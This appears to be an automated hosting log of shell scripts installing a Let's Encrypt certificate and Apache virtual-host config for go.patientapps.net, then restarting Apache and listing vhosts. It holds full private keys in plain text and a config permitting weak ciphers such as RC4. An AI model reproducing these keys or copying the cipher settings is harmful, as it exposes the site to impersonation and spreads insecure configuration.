zpXDvOkwdUEifbQ9boQr3sQFWwKBgQDbYkvsisrICYiuPAmbFuh+bKUdKNe3wkLu
U4VoZrsIEkykKYTI9yNb1yJZfRWfIpQZNCUS9P+SkDHJYKUYg48XkkZz11g63nhb
yfzBVghK/T3najws7sAWkgKozsWAuPcXM1/A9BL6nZPIdZAHq5lG/NYoN14POXEV
B/kQ63+urQKBgQCa5NQAMwoMo8uC6uRsJUIUA6NxYpmhMq/B6ch0saj8kHo/aPlJ
k4+VLLI40jZ7c+/UvhOcDFTosCTO7OmPaeRHywUHXiEmZYyfAQ0rBguvN2YZSAL+
noEBevPhWroZ5cUpzO48LLjH7q9+5q4vT5LV2heMWzh7nDFo7m/hb5XefwKBgBIu
+4wHlPcvkxyd7U3lgC+6YZUhJYAdod6PHaehnC73FVMl/dOKaGvcUQSJ0Zj3DL9q
CwifNe+38+h1EjoN7XZOsXg4iR+YAPHatBBySQ2uH8tmisZOo607PO0w9j3NFu3d
XDpqAIi1NuKOm/mGx5WSr012CV3JrQ3JM2OroVGhAoGBALSKqVxRDws4NF8op7E4
SFeO9ln3bCjQV5at/WdHohDGghvm0Wk5KMzS5jmN727ovGZNMWcKMv/uYtEez5ON
jy/wfFFrG6vNQte+rtQVVkgwMt54AdQ5HbzczFtJ/L6BqgRldraBpbjQPRvO958Q
SB4FFZk1/DlOousvrF1es/IP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-11 06:00:50: Establishing a connection
2025-10-11 06:00:51: Establishing a connection
2025-10-11 06:00:51: 

PUT: /tmp/pkp330367

#!/bin/bash
if [ -d "/var/www/patientapps_go/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-11 06:00:51: 

chmod 755 /tmp/pkp330367; /tmp/pkp330367; rm /tmp/pkp330367

2025-10-11 06:00:51: 


0


2025-10-11 06:01:18: Establishing a connection
2025-10-11 06:01:19: 

PUT: /tmp/pkp457532

#!/bin/bash
temp_file=$(mktemp)
TARGET=8da89970bb61038d506425dda08af7c6.crt

cat > $temp_file <<'endmsg'
a9:0c:25:dc:dd:17:ab:2b:fc:96:e4:70:44:9e:08:7a

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBp0VnAU8BDmYQi2PiHI/dK/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjQ4WhcNMjYwMTA5MDUwMjQ3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDO4WnaNtuJLDT/EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnB
uMxmfZ7+WJSPs1rQfSV+jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3
XpvZgu+8UmD2+hvhG9q3QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5
RwIhoL4XsaZMlNBYSDoIOV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz
7qelvWmRCeoJeEiyuPL098w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N
2ukS9dgW+KmzYsItOjqXbDFo5llPAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFLCT4fOdYDPRGPsTFpGs0fjDRTuuMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdHb+hUAAAQD
AEYwRAIgJodojjjvhK5gXk/3m7nc2W0C09Bq3RiGz3v4DNdQPHACIGFk8veWnLb5
MktZvGFguwTnV9cLGP6S+oX8NqLVwXa9AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGZ0dv6QwAABAMARzBFAiEA0lt8E62hqGW1aNr7Im6Avf7m
afBIuPeg6q5bc171YgMCIDW+iHAr5zuNjoU/kVFQeEwTE4ySFfsocJCqyx7czb9f
MA0GCSqGSIb3DQEBCwUAA4IBAQCf279FGzjcU415srR61AdAJHsVOX8jElK9euJH
hdv2JzUs5+760bbjRqC2cEERp3wEgUipn9V46W7XxrrgU4YPAYT7beV/v0Cx5SR2
f3Z0VcaWkf9oITfykT0qIZ6i1LF+X/JINjGmo+KMsuk4AkvufaJq/3HZceTi3yqq
Pshi931UKxsbVQQ1zOTvFmWeAmXGODYzPIPePwOUtkAA1QT3SNeIb95tQQyjgLIW
3Mn3bEjFKfJesUIZge3T7YeNeI5dMWtKjM/JadrgemvDJn5lKi20uYSwQjL6XwbZ
Ox59W8Cj2CTqXwLYVMLDX33a9QrngjfX67xXiNUzOPYuOF7G
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDO4WnaNtuJLDT/
EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnBuMxmfZ7+WJSPs1rQfSV+
jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3XpvZgu+8UmD2+hvhG9q3
QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5RwIhoL4XsaZMlNBYSDoI
OV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz7qelvWmRCeoJeEiyuPL0
98w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N2ukS9dgW+KmzYsItOjqX
bDFo5llPAgMBAAECggEAF6c0GAvvm8ZfJM59WKV55D1wlfvYI0cs65/OsIxMM/7p
zSUzKURZ5o20Nt7vF8TDGed8zNU/y9iTId4FCn4u7uEoDhVurCR3CvdOIQN7K1mg
L2p3VegL9AhDAs1hWkQbLtfoWDSOXXV20z751bxvm0wE3z7fx/8hJcpU4dVytqcp
t/8ZFfnNBAtWBVsgCkZWj1JlEUabZpjb7xSMmT4WlZiEvmgAoZSqE1X7fwQuLgX9
KFjywZNjEENcWO8S/vT9ie3HlPKNoLShHxfllLd9j5DCPVs8rM5jDqsEjMYhwaYZ
bwoTCpSZ9hsJl46qC9F+xz4/8D2VxESyy6saKzoRgQKBgQDvdEESVVtjduW8MYBb
XtlsCtPmuQGDAf2nQHycBvM0c9Vnxg5tJeGrFXsAq7b2hSUO3+kJWwj9yyqwV/YY
w2ZBgpTKRly0y3Lm4Jcp9LQ2OSnwRyFzDhzADx2O6nRAeEt2trwSzVYPKeJbEAbE
ybxO9s8NCZeSklnJi/mOxjCVjwKBgQDdLPWRVnyQtU8JWl+7c4lZtwKzqf+4KizU
25riP/8l8qVP/eEntdb2PVssUcns6RaQk54Q035e80kwmmtJj9T4VJZ8bXNuWNR8
5xLikYP4KNfyCktQgWhTntMv+6sVVMOA/3NZ6Ko8ooDurw1QTvrssSimLbjOCLx2
oqHkL/mgQQKBgEcnElbySi+qGuXrB6se6hhytzit7McTBl52iRCL+CSz7svhTFQe
l4oQ3fX7EGj8c2CSJFsFVAymHE8+NABzv6TjunbIpa+LbN8yCXkMH6ilH9MoL8ZS
gTSIyU24WUb29+WUsxobLeFfnsVUY86B65TDPg8vtHx3RHrhPwyv06v9AoGAO3pT
r3nqlZ+sWX+MLwSq8w1cFKSquAPfen5z8FP1cWcHPbOwUNV9sUpeslRsUOF9x/Nq
lmvJmA8kp4VfRLEBPKbCsUNdv1b0DYK2eWdYbevN5rEN/+BNBe+4KzcqktnwmUgY
5RzEavnoYkeA9Q/IOs6Jd+bjw8RlqiGiF5MvNgECgYA6ZZ8qEEyBJuzgFNLrxSg7
fiHdK+99jJZqg0cgVK74yC/bPsNK6f6o+yrmQzgaTyGPLZK2gOmzkqh3x//yfDg7
vLP19DKBgXkKmfehkULRoirrXH4oo4BxiZ7JAMneeg6CYYtiWlxjK3EwWPg0pkbN
7YN4Gx7cLf0P8OZnauurLQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-11 06:01:19: 

chmod 755 /tmp/pkp457532; /tmp/pkp457532; rm /tmp/pkp457532

2025-10-11 06:01:19: 


dir=/etc/ssl/certs


2025-10-11 06:01:19: 

PUT: /tmp/pkp244179

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_go_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-11 06:01:19: 

chmod 755 /tmp/pkp244179; /tmp/pkp244179; rm /tmp/pkp244179

2025-10-11 06:01:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 42
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>






2025-10-11 06:01:19: 

PUT: /tmp/pkp681452

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_go_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_go_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_go_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf= 1'
fi


2025-10-11 06:01:19: 

chmod 755 /tmp/pkp681452; /tmp/pkp681452; rm /tmp/pkp681452

2025-10-11 06:01:19: 




2025-10-11 06:01:19: 

PUT: /tmp/pkp837472

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-11 06:01:19: 

chmod 755 /tmp/pkp837472; /tmp/pkp837472; rm /tmp/pkp837472

2025-10-11 06:01:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:01:19: Establishing a connection
2025-10-11 06:01:19: 

PUT: /tmp/pkp492809

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-11 06:01:19: 

chmod 755 /tmp/pkp492809; /tmp/pkp492809; rm /tmp/pkp492809

2025-10-11 06:01:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
